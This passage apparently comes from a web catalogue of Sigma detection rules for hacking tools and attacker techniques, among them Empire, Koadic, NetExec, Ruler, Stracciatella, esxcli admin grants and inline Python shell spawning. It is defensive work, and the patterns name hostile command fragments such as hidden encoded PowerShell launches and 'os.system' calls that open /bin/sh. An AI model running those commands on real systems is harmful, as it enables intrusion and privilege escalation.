- 'Set-WinUserPasswordHash'
- 'Test-ADDBPasswordQuality'
- 'Test-ADPasswordQuality'
- 'Test-ADReplPasswordQuality'
- 'Test-PasswordQuality'
- 'Unlock-ADDBAccount'
- 'Write-ADNgcKey'
- 'Write-ADReplNgcKey'
condition: selection
falsepositives:
- Legitimate usage of DSInternals for administration or audit purpose.
level: high
high
ESXi Admin Permission Assigned To Account Via ESXCLI
Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.
status testauthor Nasreddine Bencherchali (Nextron Systems)id 9691f58d-92c1-4416-8bf3-2edd753ec9cf
view Sigma YAML
title: ESXi Admin Permission Assigned To Account Via ESXCLI
id: 9691f58d-92c1-4416-8bf3-2edd753ec9cf
status: test
description: Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.
references:
- https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-09-04
tags:
- attack.persistence
- attack.execution
- attack.privilege-escalation
- attack.t1059.012
- attack.t1098
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/esxcli'
CommandLine|contains: 'system'
CommandLine|contains|all:
- ' permission '
- ' set'
- 'Admin'
condition: selection
falsepositives:
- Legitimate administration activities
level: high
high
Equation Group Indicators
Detects suspicious shell commands used in various Equation Group scripts and tools
status testauthor Florian Roth (Nextron Systems)id 41e5c73d-9983-4b69-bd03-e13b67e9623c
Detects suspicious powershell command line parameters used in Empire
status testauthor Florian Roth (Nextron Systems)id 79f4ede3-402e-41c8-bc3e-ebbf5f162581
view Sigma YAML
title: HackTool - Empire PowerShell Launch Parameters
id: 79f4ede3-402e-41c8-bc3e-ebbf5f162581
status: test
description: Detects suspicious powershell command line parameters used in Empire
references:
- https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165
- https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191
- https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178
- https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64
author: Florian Roth (Nextron Systems)
date: 2019-04-20
modified: 2023-02-21
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- ' -NoP -sta -NonI -W Hidden -Enc '
- ' -noP -sta -w 1 -enc '
- ' -NoP -NonI -W Hidden -enc '
- ' -noP -sta -w 1 -enc'
- ' -enc SQB'
- ' -nop -exec bypass -EncodedCommand '
condition: selection
falsepositives:
- Other tools that incidentally use the same command line parameters
level: high
high
HackTool - Koadic Execution
Detects command line parameters used by Koadic hack tool
status testauthor wagga, Jonhnathan Ribeiro, oscd.communityid 5cddf373-ef00-4112-ad72-960ac29bac34
view Sigma YAML
title: HackTool - Koadic Execution
id: 5cddf373-ef00-4112-ad72-960ac29bac34
status: test
description: Detects command line parameters used by Koadic hack tool
references:
- https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/
- https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js
- https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/
author: wagga, Jonhnathan Ribeiro, oscd.community
date: 2020-01-12
modified: 2023-02-11
tags:
- attack.execution
- attack.t1059.003
- attack.t1059.005
- attack.t1059.007
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\cmd.exe'
- OriginalFileName: 'Cmd.Exe'
selection_cli:
CommandLine|contains|all:
- '/q'
- '/c'
- 'chcp'
condition: all of selection_*
falsepositives:
- Unknown
level: high
high
HackTool - NetExec File Indicators
Detects file creation events indicating NetExec (nxc.exe) execution on the local machine.
NetExec is a PyInstaller-bundled binary that extracts its embedded data files to a "_MEI<random>" directory
under the Temp folder upon execution. Files dropped under the "\nxc\" sub-directory of that
extraction path are unique to NetExec and serve as reliable on-disk indicators of execution.
NetExec (formerly CrackMapExec) is a widely used post-exploitation and lateral movement tool used for
Active Directory enumeration, credential harvesting, and remote code execution.
status experimentalauthor Swachchhanda Shrawan Poudel (Nextron Systems)id efc21479-9e83-41da-8cf1-122e06ba8db3
view Sigma YAML
title: HackTool - NetExec File Indicators
id: efc21479-9e83-41da-8cf1-122e06ba8db3
status: experimental
description: |
Detects file creation events indicating NetExec (nxc.exe) execution on the local machine.
NetExec is a PyInstaller-bundled binary that extracts its embedded data files to a "_MEI<random>" directory
under the Temp folder upon execution. Files dropped under the "\nxc\" sub-directory of that
extraction path are unique to NetExec and serve as reliable on-disk indicators of execution.
NetExec (formerly CrackMapExec) is a widely used post-exploitation and lateral movement tool used for
Active Directory enumeration, credential harvesting, and remote code execution.
references:
- https://github.com/Pennyw0rth/NetExec
- https://www.netexec.wiki/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2026-04-08
tags:
- attack.execution
- attack.lateral-movement
- attack.discovery
- attack.t1021.002
- attack.t1059.005
logsource:
product: windows
category: file_event
detection:
selection:
- Image|contains: '\nxc-windows-latest\'
- TargetFilename|contains|all:
- '\Temp\_MEI'
- '\nxc\data\'
condition: selection
falsepositives:
- Unknown
level: high
regression_tests_path: regression_data/rules/windows/file/file_event/file_event_win_hktl_netexec_file_indicators/info.yml
high
HackTool - RedMimicry Winnti Playbook Execution
Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility
status testauthor Alexander Rauschid 95022b85-ff2a-49fa-939a-d7b8f56eeb9b
Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.
status testauthor pH-T (Nextron Systems)id 7a4d9232-92fc-404d-8ce1-4c92e7caf539
view Sigma YAML
title: HackTool - Stracciatella Execution
id: 7a4d9232-92fc-404d-8ce1-4c92e7caf539
status: test
description: Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.
references:
- https://github.com/mgeeky/Stracciatella
author: pH-T (Nextron Systems)
date: 2023-04-17
modified: 2024-11-23
tags:
- attack.execution
- attack.defense-impairment
- attack.t1059
- attack.t1685
logsource:
category: process_creation
product: windows
detection:
selection:
- Image|endswith: '\Stracciatella.exe'
- OriginalFileName: 'Stracciatella.exe'
- Description: 'Stracciatella'
- Hashes|contains:
- 'SHA256=9d25e61ec1527e2a69d7c2a4e3fe2fe15890710c198a66a9f25d99fdf6c7b956'
- 'SHA256=fd16609bd9830c63b9413671678bb159b89c357d21942ddbb6b93add808d121a'
condition: selection
falsepositives:
- Unlikely
level: high
high
Hacktool Ruler
This events that are generated when using the hacktool Ruler by Sensepost
status testauthor Florian Roth (Nextron Systems)id 24549159-ac1b-479c-8175-d42aea947cae
view Sigma YAML
title: Hacktool Ruler
id: 24549159-ac1b-479c-8175-d42aea947cae
status: test
description: This events that are generated when using the hacktool Ruler by Sensepost
references:
- https://github.com/sensepost/ruler
- https://github.com/sensepost/ruler/issues/47
- https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427
- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4776
- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624
author: Florian Roth (Nextron Systems)
date: 2017-05-31
modified: 2022-10-09
tags:
- attack.discovery
- attack.execution
- attack.collection
- attack.lateral-movement
- attack.t1087
- attack.t1114
- attack.t1059
- attack.t1550.002
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4776
Workstation: 'RULER'
selection2:
EventID:
- 4624
- 4625
WorkstationName: 'RULER'
condition: (1 of selection*)
falsepositives:
- Go utilities that use staaldraad awesome NTLM library
level: high
high
Inline Python Execution - Spawn Shell Via OS System Library
Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell.
status testauthor Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)id 2d2f44ff-4611-4778-a8fc-323a0e9850cc
view Sigma YAML
title: Inline Python Execution - Spawn Shell Via OS System Library
id: 2d2f44ff-4611-4778-a8fc-323a0e9850cc
status: test
description: |
Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell.
references:
- https://gtfobins.github.io/gtfobins/python/#shell
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
date: 2024-09-02
tags:
- attack.execution
- attack.t1059
logsource:
category: process_creation
product: linux
detection:
selection_img:
- Image|endswith:
- '/python'
- '/python2'
- '/python3'
- Image|contains:
- '/python2.' # python image is always of the form ../python3.10; ../python is just a symlink
- '/python3.'
selection_cli:
CommandLine|contains|all:
- ' -c '
- 'os.system('
CommandLine|contains:
- '/bin/bash'
- '/bin/dash'
- '/bin/fish'
- '/bin/sh'
- '/bin/zsh'
condition: all of selection_*
falsepositives:
- Unknown
level: high
high
Installation of WSL Kali-Linux
Detects installation of Kali Linux distribution through Windows Subsystem for Linux (WSL).
Attackers may use Kali Linux WSL to leverage its penetration testing tools and capabilities for malicious purposes.
status experimentalauthor Swachchhanda Shrawan Poudel (Nextron Systems)id eca8ae39-5c3c-4321-b538-9e64fe25822e
view Sigma YAML
title: Installation of WSL Kali-Linux
id: eca8ae39-5c3c-4321-b538-9e64fe25822e
status: experimental
description: |
Detects installation of Kali Linux distribution through Windows Subsystem for Linux (WSL).
Attackers may use Kali Linux WSL to leverage its penetration testing tools and capabilities for malicious purposes.
references:
- https://medium.com/@redfanatic7/running-kali-linux-on-windows-51ad95166e6e
- https://learn.microsoft.com/en-us/windows/wsl/install
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-10-10
tags:
- attack.execution
- attack.t1059
logsource:
category: process_creation
product: windows
detection:
selection_wsl_img:
- Image|endswith: '\wsl.exe'
- OriginalFileName: 'wsl'
selection_wsl_install:
CommandLine|contains:
- ' --install '
- ' -i '
selection_wsl_kali:
CommandLine|contains: 'kali'
condition: all of selection_wsl_*
falsepositives:
- Legitimate installation or usage of Kali Linux WSL by administrators or security teams
level: high
high
Invoke-Obfuscation CLIP+ Launcher
Detects Obfuscated use of Clip.exe to execute PowerShell
status testauthor Jonathan Cheong, oscd.communityid b222df08-0e07-11eb-adc1-0242ac120002